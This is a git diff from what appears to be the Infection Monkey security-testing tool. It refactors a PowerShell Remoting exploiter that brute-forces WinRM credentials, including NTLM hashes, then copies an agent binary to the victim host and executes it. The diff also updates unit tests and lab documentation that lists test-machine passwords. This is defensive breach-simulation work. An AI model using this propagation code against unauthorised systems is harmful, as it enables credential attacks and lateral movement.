diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index 08ffb4e5e..71e8c62e2 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -924,7 +924,8 @@ Update all requirements using deployment script:
Notes: |
-User: m0nk3y, Password: Passw0rd! User: m0nk3y-user, No Password. |
+User: m0nk3y, Password: Passw0rd! User: m0nk3y-user, No Password.
+Accessibale through Island using m0nk3y-user. |
@@ -952,7 +953,8 @@ Update all requirements using deployment script:
Notes: |
-User: m0nk3y, Password: Passw0rd! |
+User: m0nk3y, Password: Passw0rd!
+Accessiable through cached credentials (Windows Island) |
@@ -980,7 +982,8 @@ Update all requirements using deployment script:
Notes: |
-User: m0nk3y, Password: Xk8VDTsC |
+User: m0nk3y, Password: Xk8VDTsC
+Accessiable through the Island using NTLM hash |
@@ -1008,7 +1011,8 @@ Update all requirements using deployment script:
Notes: |
-User: m0nk3y, Password: Passw0rd! |
+User: m0nk3y, Password: Passw0rd!
+Accessiable only through 3-45 Powershell using credentials reuse |
diff --git a/monkey/infection_monkey/exploit/caching_agent_repository.py b/monkey/infection_monkey/exploit/caching_agent_repository.py
index 2e52990b9..8a55b3f63 100644
--- a/monkey/infection_monkey/exploit/caching_agent_repository.py
+++ b/monkey/infection_monkey/exploit/caching_agent_repository.py
@@ -1,4 +1,5 @@
import io
+import threading
from functools import lru_cache
from typing import Mapping
@@ -19,9 +20,15 @@ class CachingAgentRepository(IAgentRepository):
def __init__(self, island_url: str, proxies: Mapping[str, str]):
self._island_url = island_url
self._proxies = proxies
+ self._lock = threading.Lock()
def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO:
- return io.BytesIO(self._download_binary_from_island(os))
+ # If multiple calls to get_agent_binary() are made simultaneously before the result of
+ # _download_binary_from_island() is cached, then multiple requests will be sent to the
+ # island. Add a mutex in front of the call to _download_agent_binary_from_island() so
+ # that only one request per OS will be sent to the island.
+ with self._lock:
+ return io.BytesIO(self._download_binary_from_island(os))
@lru_cache(maxsize=None)
def _download_binary_from_island(self, os: str) -> bytes:
diff --git a/monkey/infection_monkey/exploit/consts.py b/monkey/infection_monkey/exploit/consts.py
deleted file mode 100644
index e74c7786c..000000000
--- a/monkey/infection_monkey/exploit/consts.py
+++ /dev/null
@@ -1,3 +0,0 @@
-# Constants used to refer to windows architectures
-WIN_ARCH_32 = "32"
-WIN_ARCH_64 = "64"
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 0618a3dad..73caf065a 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -6,8 +6,8 @@
import json
import posixpath
+import random
import string
-from random import SystemRandom
import requests
@@ -71,10 +71,11 @@ class HadoopExploiter(WebRCE):
)
resp = json.loads(resp.content)
app_id = resp["application-id"]
+
# Create a random name for our application in YARN
- safe_random = SystemRandom()
+ # random.SystemRandom can block indefinitely in Linux
rand_name = ID_STRING + "".join(
- [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
+ [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] # noqa: DUO102
)
payload = self._build_payload(app_id, rand_name, command)
resp = requests.post(
diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py
index 324ed0495..d18a5c982 100644
--- a/monkey/infection_monkey/exploit/powershell.py
+++ b/monkey/infection_monkey/exploit/powershell.py
@@ -3,7 +3,6 @@ import os
from typing import List, Optional
from common.utils.exploit_enum import ExploitType
-from infection_monkey.exploit.consts import WIN_ARCH_32
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils.auth_options import (
AUTH_NEGOTIATE,
@@ -21,69 +20,91 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
IPowerShellClient,
PowerShellClient,
)
-from infection_monkey.exploit.tools.helpers import get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_random_file_suffix
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.environment import is_windows_os
logger = logging.getLogger(__name__)
-TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
-
class PowerShellRemotingDisabledError(Exception):
pass
+class RemoteAgentCopyError(Exception):
+ pass
+
+
+class RemoteAgentExecutionError(Exception):
+ pass
+
+
class PowerShellExploiter(HostExploiter):
_TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
- def __init__(self, host: VictimHost):
- super().__init__(host)
+ def __init__(self):
+ super().__init__()
self._client = None
def _exploit_host(self):
try:
use_ssl = self._is_client_using_https()
except PowerShellRemotingDisabledError as e:
- logging.info(e)
- return False
+ logger.info(e)
+ self.exploit_result.error_message = (
+ "PowerShell Remoting appears to be disabled on the remote host"
+ )
+ return self.exploit_result
credentials = get_credentials(
- self._config.exploit_user_list,
- self._config.exploit_password_list,
- self._config.exploit_lm_hash_list,
- self._config.exploit_ntlm_hash_list,
+ self.options["credentials"]["exploit_user_list"],
+ self.options["credentials"]["exploit_password_list"],
+ self.options["credentials"]["exploit_lm_hash_list"],
+ self.options["credentials"]["exploit_ntlm_hash_list"],
is_windows_os(),
)
+
auth_options = [get_auth_options(creds, use_ssl) for creds in credentials]
self._client = self._authenticate_via_brute_force(credentials, auth_options)
if not self._client:
- return False
+ self.exploit_result.error_message = (
+ "Unable to authenticate to the remote host using any of the available credentials"
+ )
+ return self.exploit_result
- return self._execute_monkey_agent_on_victim()
+ self.exploit_result.exploitation_success = True
+
+ try:
+ self._execute_monkey_agent_on_victim()
+ self.exploit_result.propagation_success = True
+ except Exception as ex:
+ logger.error(f"Failed to propagate to the remote host: {ex}")
+ self.exploit_result.error_message = str(ex)
+
+ return self.exploit_result
def _is_client_using_https(self) -> bool:
try:
- logging.debug("Checking if powershell remoting is enabled over HTTP.")
+ logger.debug("Checking if powershell remoting is enabled over HTTP.")
self._try_http()
return False
except AuthenticationError:
return False
except Exception as e:
- logging.debug(f"Powershell remoting over HTTP seems disabled: {e}")
+ logger.debug(f"Powershell remoting over HTTP seems disabled: {e}")
try:
- logging.debug("Checking if powershell remoting is enabled over HTTPS.")
+ logger.debug("Checking if powershell remoting is enabled over HTTPS.")
self._try_https()
return True
except AuthenticationError:
return True
except Exception as e:
- logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}")
+ logger.debug(f"Powershell remoting over HTTPS seems disabled: {e}")
raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.")
def _try_http(self):
@@ -93,8 +114,10 @@ class PowerShellExploiter(HostExploiter):
self._try_ssl_login(use_ssl=True)
def _try_ssl_login(self, use_ssl: bool):
+ # '.\' is machine qualifier if the user is in the local domain
+ # which happens if we try to exploit a machine on second hop
credentials = Credentials(
- username="dummy_username",
+ username=".\\dummy_username",
secret="dummy_password",
secret_type=SecretType.PASSWORD,
)
@@ -105,38 +128,33 @@ class PowerShellExploiter(HostExploiter):
ssl=use_ssl,
)
- PowerShellClient(self.host.ip_addr, credentials, auth_options)
+ # TODO: Report login attempt or find a better way of detecting if SSL is enabled
+ client = PowerShellClient(self.host.ip_addr, credentials, auth_options)
+ client.connect()
def _authenticate_via_brute_force(
self, credentials: List[Credentials], auth_options: List[AuthOptions]
) -> Optional[IPowerShellClient]:
for (creds, opts) in zip(credentials, auth_options):
- client = PowerShellClient(self.host.ip_addr, creds, opts)
- if self._is_client_auth_valid(creds, client):
+ try:
+ client = PowerShellClient(self.host.ip_addr, creds, opts)
+ client.connect()
+ logger.info(
+ f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
+ f"{creds.username}, Secret Type: {creds.secret_type.name}"
+ )
+
+ self._report_login_attempt(True, creds)
return client
+ except Exception as ex:
+ logger.debug(
+ f"Error logging into {self.host.ip_addr} using Powershell. User: "
+ f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
+ )
+ self._report_login_attempt(False, creds)
return None
- def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool:
- try:
- # attempt to execute dir command to know if authentication was successful
- client.execute_cmd("dir")
-
- logger.info(
- f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
- f"{creds.username}, Secret Type: {creds.secret_type.name}"
- )
- self._report_login_attempt(True, creds)
-
- return True
- except Exception as ex: # noqa: F841
- logger.debug(
- f"Error logging into {self.host.ip_addr} using Powershell. User: "
- f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
- )
- self._report_login_attempt(False, creds)
- return False
-
def _report_login_attempt(self, result: bool, credentials: Credentials):
if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]:
self.report_login_attempt(result, credentials.username, password=credentials.secret)
@@ -147,57 +165,42 @@ class PowerShellExploiter(HostExploiter):
else:
raise ValueError(f"Unknown secret type {credentials.secret_type}")
- def _execute_monkey_agent_on_victim(self) -> bool:
- arch = self._client.get_host_architecture()
- self.is_32bit = arch == WIN_ARCH_32
- logger.debug(f"Host architecture is {arch}")
+ def _execute_monkey_agent_on_victim(self):
+ monkey_path_on_victim = self.options["dropper_target_path_win_64"]
- monkey_path_on_victim = (
- self._config.dropper_target_path_win_32
- if self.is_32bit
- else self._config.dropper_target_path_win_64
- )
+ self._copy_monkey_binary_to_victim(monkey_path_on_victim)
+ logger.info("Successfully copied the monkey binary to the victim.")
- is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim)
- if is_monkey_copy_successful:
- logger.info("Successfully copied the monkey binary to the victim.")
- self._run_monkey_executable_on_victim(monkey_path_on_victim)
- else:
- logger.error("Failed to copy the monkey binary to the victim.")
- return False
-
- return True
-
- def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool:
try:
- self._write_virtual_file_to_local_path()
-
- logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
- is_monkey_copy_successful = self._client.copy_file(
- TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim
- )
+ self._run_monkey_executable_on_victim(monkey_path_on_victim)
except Exception as ex:
- raise ex
+ raise RemoteAgentExecutionError(
+ f"Failed to execute the agent binary on the victim: {ex}"
+ )
+
+ def _copy_monkey_binary_to_victim(self, monkey_path_on_victim):
+
+ temp_monkey_binary_filepath = f"monkey_temp_bin_{get_random_file_suffix()}"
+
+ self._create_local_agent_file(temp_monkey_binary_filepath)
+
+ try:
+ logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
+ self._client.copy_file(temp_monkey_binary_filepath, monkey_path_on_victim)
+ except Exception as ex:
+ raise RemoteAgentCopyError(f"Failed to copy the agent binary to the victim: {ex}")
finally:
- if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH):
- os.remove(TEMP_MONKEY_BINARY_FILEPATH)
+ if os.path.isfile(temp_monkey_binary_filepath):
+ os.remove(temp_monkey_binary_filepath)
- return is_monkey_copy_successful
+ def _create_local_agent_file(self, binary_path):
+ agent_binary_bytes = self.agent_repository.get_agent_binary("windows")
+ with open(binary_path, "wb") as f:
+ f.write(agent_binary_bytes.getvalue())
- def _write_virtual_file_to_local_path(self) -> None:
- """
- # TODO: monkeyfs has been removed. Fix this in issue #1740.
- monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
-
- with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
- with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
- monkey_local_file.write(monkey_virtual_file.read())
- """
- pass
-
- def _run_monkey_executable_on_victim(self, executable_path) -> None:
+ def _run_monkey_executable_on_victim(self, executable_path):
monkey_execution_command = build_monkey_execution_command(
- self.host, get_monkey_depth() - 1, executable_path
+ self.host, self.current_depth - 1, executable_path
)
logger.info(
diff --git a/monkey/infection_monkey/exploit/powershell_utils/__init__.py b/monkey/infection_monkey/exploit/powershell_utils/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py
index 6727ac67c..c0ae8b260 100644
--- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py
+++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py
@@ -1,6 +1,6 @@
import abc
import logging
-from typing import Optional, Union
+from typing import Optional
import pypsrp
import spnego
@@ -10,10 +10,8 @@ from pypsrp.powershell import PowerShell, RunspacePool
from typing_extensions import Protocol
from urllib3 import connectionpool
-from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType
-from infection_monkey.model import GET_ARCH_WINDOWS
logger = logging.getLogger(__name__)
@@ -57,11 +55,11 @@ def format_password(credentials: Credentials) -> Optional[str]:
class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
@abc.abstractmethod
- def execute_cmd(self, cmd: str) -> str:
+ def connect(self) -> str:
pass
@abc.abstractmethod
- def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
+ def execute_cmd(self, cmd: str) -> str:
pass
@abc.abstractmethod
@@ -78,38 +76,38 @@ class PowerShellClient(IPowerShellClient):
_set_sensitive_packages_log_level_to_error()
self._ip_addr = ip_addr
+ self._credentials = credentials
+ self._auth_options = auth_options
+ self._client = None
+
+ def connect(self):
self._client = Client(
- ip_addr,
- username=credentials.username,
- password=format_password(credentials),
+ self._ip_addr,
+ username=self._credentials.username,
+ password=format_password(self._credentials),
cert_validation=False,
- auth=auth_options.auth_type,
- encryption=auth_options.encryption,
- ssl=auth_options.ssl,
+ auth=self._auth_options.auth_type,
+ encryption=self._auth_options.encryption,
+ ssl=self._auth_options.ssl,
connection_timeout=CONNECTION_TIMEOUT,
)
+ # Attempt to execute dir command to know if authentication was successful. This will raise
+ # an exception if authentication was not successful.
+ self.execute_cmd("dir")
+ logger.debug("Successfully authenticated to remote PowerShell service")
+
def execute_cmd(self, cmd: str) -> str:
output, _, _ = self._client.execute_cmd(cmd)
return output
- def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
- stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS)
- if "64-bit" in stdout:
- return WIN_ARCH_64
-
- return WIN_ARCH_32
-
- def copy_file(self, src: str, dest: str) -> bool:
+ def copy_file(self, src: str, dest: str):
try:
self._client.copy(src, dest)
logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}")
-
- return True
except Exception as ex:
logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}")
-
- return False
+ raise ex
def execute_cmd_as_detached_process(self, cmd: str):
logger.debug(
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
index 7a72606bf..155800fe6 100644
--- a/monkey/infection_monkey/exploit/tools/helpers.py
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -1,4 +1,6 @@
import logging
+import random
+import string
from typing import Any, Mapping
from infection_monkey.model import VictimHost
@@ -23,6 +25,13 @@ def get_target_monkey_by_os(is_windows, is_32bit):
)
+def get_random_file_suffix() -> str:
+ character_set = list(string.ascii_letters + string.digits + "_" + "-")
+ # random.SystemRandom can block indefinitely in Linux
+ random_string = "".join(random.choices(character_set, k=8)) # noqa: DUO102
+ return random_string
+
+
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
index 43d62862f..cbe0f8f66 100644
--- a/monkey/infection_monkey/exploit/tools/http_tools.py
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -16,9 +16,11 @@ logger = logging.getLogger(__name__)
class HTTPTools(object):
@staticmethod
- def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+ def try_create_locked_transfer(
+ host, src_path, agent_repository, local_ip=None, local_port=None
+ ):
http_path, http_thread = HTTPTools.create_locked_transfer(
- host, src_path, local_ip, local_port
+ host, src_path, agent_repository, local_ip, local_port
)
if not http_path:
raise Exception("Http transfer creation failed.")
@@ -33,6 +35,7 @@ class HTTPTools(object):
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
+ :param agent_repository: Repository to download Monkey agents
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index e67ed0cad..19f96cdae 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -43,8 +43,6 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING
-# Architecture checking commands
-GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses
HADOOP_WINDOWS_COMMAND = (
"powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { "
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index cea09ff45..5a6238dfc 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -19,6 +19,7 @@ from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.log4shell import Log4ShellExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
+from infection_monkey.exploit.powershell import PowerShellExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.zerologon import ZerologonExploiter
@@ -221,6 +222,9 @@ class InfectionMonkey:
puppet.load_plugin(
"Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER
)
+ puppet.load_plugin(
+ "PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER
+ )
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
puppet.load_plugin(
diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py
index 6059ceb71..be08352e8 100644
--- a/monkey/monkey_island/cc/services/run_local_monkey.py
+++ b/monkey/monkey_island/cc/services/run_local_monkey.py
@@ -47,7 +47,7 @@ class LocalMonkeyRunService:
ip = local_ip_addresses()[0]
port = ISLAND_PORT
- args = [dest_path, "m0nk3y", "-s", f"{ip}:{port}"]
+ args = [str(dest_path), "m0nk3y", "-s", f"{ip}:{port}"]
subprocess.Popen(args, cwd=LocalMonkeyRunService.DATA_DIR)
except Exception as exc:
logger.error("popen failed", exc_info=True)
diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py
index 10d2e6e1d..f75c57f17 100644
--- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py
+++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py
@@ -1,10 +1,9 @@
-from collections import namedtuple
+from io import BytesIO
from unittest.mock import MagicMock
import pytest
from infection_monkey.exploit import powershell
-from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credentials import Credentials
from infection_monkey.model.host import VictimHost
@@ -16,93 +15,111 @@ USER_LIST = ["user1", "user2"]
PASSWORD_LIST = ["pass1", "pass2"]
LM_HASH_LIST = ["bogo_lm_1"]
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
-DROPPER_TARGET_PATH_32 = "C:\\agent32"
DROPPER_TARGET_PATH_64 = "C:\\agent64"
-Config = namedtuple(
- "Config",
- [
- "exploit_user_list",
- "exploit_password_list",
- "exploit_lm_hash_list",
- "exploit_ntlm_hash_list",
- "dropper_target_path_win_64",
- ],
-)
-
class AuthenticationErrorForTests(Exception):
pass
+mock_agent_repository = MagicMock()
+mock_agent_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EXECUTABLE")
+
+
+@pytest.fixture
+def powershell_arguments():
+ options = {
+ "dropper_target_path_win_64": DROPPER_TARGET_PATH_64,
+ "credentials": {
+ "exploit_user_list": USER_LIST,
+ "exploit_password_list": PASSWORD_LIST,
+ "exploit_lm_hash_list": LM_HASH_LIST,
+ "exploit_ntlm_hash_list": NT_HASH_LIST,
+ },
+ }
+ arguments = {
+ "host": VictimHost("127.0.0.1"),
+ "options": options,
+ "current_depth": 2,
+ "telemetry_messenger": MagicMock(),
+ "agent_repository": mock_agent_repository,
+ }
+ return arguments
+
+
@pytest.fixture
def powershell_exploiter(monkeypatch):
- host = VictimHost("127.0.0.1")
- pe = powershell.PowerShellExploiter(host)
- pe._config = Config(
- USER_LIST,
- PASSWORD_LIST,
- LM_HASH_LIST,
- NT_HASH_LIST,
- DROPPER_TARGET_PATH_32,
- DROPPER_TARGET_PATH_64,
- )
+ pe = powershell.PowerShellExploiter()
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
- # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
- # it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so
- # fix this.
- monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
return pe
-def test_powershell_disabled(monkeypatch, powershell_exploiter):
- mock_powershell_client = MagicMock(side_effect=Exception)
- monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
+def test_powershell_disabled(monkeypatch, powershell_exploiter, powershell_arguments):
+ mock_powershell_client = MagicMock()
+ mock_powershell_client.connect = MagicMock(side_effect=Exception)
+ monkeypatch.setattr(
+ powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
+ )
- success = powershell_exploiter.exploit_host()
- assert not success
+ exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
+ assert not exploit_result.exploitation_success
+ assert not exploit_result.propagation_success
+ assert "disabled" in exploit_result.error_message
-def test_powershell_http(monkeypatch, powershell_exploiter):
+def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments):
def allow_http(_, credentials: Credentials, auth_options: AuthOptions):
if not auth_options.ssl:
raise AuthenticationErrorForTests
else:
raise Exception
- mock_powershell_client = MagicMock(side_effect=allow_http)
- monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
- powershell_exploiter.exploit_host()
+ mock_powershell_client = MagicMock()
+ mock_powershell_client.connect = MagicMock(side_effect=allow_http)
+ monkeypatch.setattr(
+ powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
+ )
+
+ powershell_exploiter.exploit_host(**powershell_arguments)
for call_args in mock_powershell_client.call_args_list:
assert not call_args[0][2].ssl
-def test_powershell_https(monkeypatch, powershell_exploiter):
+def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments):
def allow_https(_, credentials: Credentials, auth_options: AuthOptions):
if auth_options.ssl:
raise AuthenticationErrorForTests
else:
raise Exception
- mock_powershell_client = MagicMock(side_effect=allow_https)
- monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
- powershell_exploiter.exploit_host()
+ mock_powershell_client = MagicMock()
+ mock_powershell_client.connect = MagicMock(side_effect=allow_https)
+ monkeypatch.setattr(
+ powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
+ )
+
+ powershell_exploiter.exploit_host(**powershell_arguments)
for call_args in mock_powershell_client.call_args_list:
if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password":
assert call_args[0][2].ssl
-def test_no_valid_credentials(monkeypatch, powershell_exploiter):
- mock_powershell_client = MagicMock(side_effect=AuthenticationErrorForTests)
- monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
+def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_arguments):
+ mock_powershell_client = MagicMock()
+ mock_powershell_client.connect = MagicMock(side_effect=AuthenticationErrorForTests)
+ monkeypatch.setattr(
+ powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
+ )
- success = powershell_exploiter.exploit_host()
- assert not success
+ exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
+ assert not exploit_result.exploitation_success
+ assert not exploit_result.propagation_success
+ assert "Unable to authenticate" in exploit_result.error_message
def authenticate(mock_client):
@@ -115,72 +132,78 @@ def authenticate(mock_client):
return inner
-@pytest.mark.parametrize(
- "dropper_target_path,arch",
- [(DROPPER_TARGET_PATH_32, WIN_ARCH_32), (DROPPER_TARGET_PATH_64, WIN_ARCH_64)],
-)
-def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch):
+def test_successful_copy(monkeypatch, powershell_exploiter, powershell_arguments):
mock_client = MagicMock()
- mock_client.return_value.get_host_architecture = lambda: arch
- mock_client.return_value.copy_file = MagicMock(return_value=True)
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
- success = powershell_exploiter.exploit_host()
+ exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
- assert dropper_target_path in mock_client.return_value.copy_file.call_args[0][1]
- assert success
+ assert DROPPER_TARGET_PATH_64 in mock_client.return_value.copy_file.call_args[0][1]
+ assert exploit_result.exploitation_success
-def test_failed_copy(monkeypatch, powershell_exploiter):
+def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments):
mock_client = MagicMock()
- mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
- mock_client.return_value.copy_file = MagicMock(return_value=False)
+ mock_client.return_value.copy_file = MagicMock(side_effect=Exception("COPY FAILED"))
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
- success = powershell_exploiter.exploit_host()
- assert not success
+ exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
+ assert exploit_result.exploitation_success
+ assert not exploit_result.propagation_success
+ assert "copy" in exploit_result.error_message
-def test_failed_monkey_execution(monkeypatch, powershell_exploiter):
- mock_client = MagicMock()
- mock_client.get_host_architecture = lambda: WIN_ARCH_32
- mock_client.copy_file = MagicMock(return_value=True)
- mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception)
-
- mock_powershell_client = MagicMock(side_effect=authenticate(mock_client))
- monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
-
- success = powershell_exploiter.exploit_host()
- assert not success
-
-
-def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter):
- mock_client = MagicMock()
- mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
- mock_client.return_value.copy_file = MagicMock(return_value=True)
-
- # execute_cmd method will throw exceptions for 5 first calls.
- # 6-th call doesn't throw an exception == credentials successful
- execute_cmd_returns = [Exception, Exception, Exception, Exception, Exception, True]
- mock_client.return_value.execute_cmd = MagicMock(side_effect=execute_cmd_returns)
-
- monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
-
- powershell_exploiter.exploit_host()
-
- # Total 6 attempts reported, 5 failed and 1 succeeded
- assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns)
- assert (
- len([attempt for attempt in powershell_exploiter.exploit_attempts if not attempt["result"]])
- == 5
+def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_arguments):
+ mock_powershell_client = MagicMock()
+ mock_powershell_client.execute_cmd_as_detached_process = MagicMock(
+ side_effect=Exception("EXECUTION FAILED")
)
- assert (
- len([attempt for attempt in powershell_exploiter.exploit_attempts if attempt["result"]])
- == 1
+
+ monkeypatch.setattr(
+ powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
)
+ exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
+ assert exploit_result.exploitation_success is True
+ assert exploit_result.propagation_success is False
+ assert "execute" in exploit_result.error_message
+
+
+def test_successful_propagation(monkeypatch, powershell_exploiter, powershell_arguments):
+ mock_client = MagicMock()
+ monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
+
+ exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
+
+ assert exploit_result.exploitation_success
+ assert exploit_result.propagation_success
+ assert not exploit_result.error_message
+
+
+def test_login_attempts_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments):
+ # 1st call is for determining HTTP/HTTPs. 6 remaining calls are actual login attempts. the 6th
+ # login attempt doesn't throw an exception, signifying that login with credentials was
+ # successful.
+ connection_attempts = [True, Exception, Exception, Exception, Exception, Exception, True]
+ mock_powershell_client = MagicMock(side_effect=connection_attempts)
+ mock_powershell_client.connect = MagicMock(side_effect=connection_attempts)
+ monkeypatch.setattr(
+ powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client)
+ )
+
+ exploit_result = powershell_exploiter.exploit_host(**powershell_arguments)
+
+ successful_attempts = [attempt for attempt in exploit_result.attempts if attempt["result"]]
+ unsuccessful_attempts = [
+ attempt for attempt in exploit_result.attempts if not attempt["result"]
+ ]
+
+ assert len(exploit_result.attempts) == 6
+ assert len(unsuccessful_attempts) == 5
+ assert len(successful_attempts) == 1
+
def test_build_monkey_execution_command():
host = VictimHost("127.0.0.1")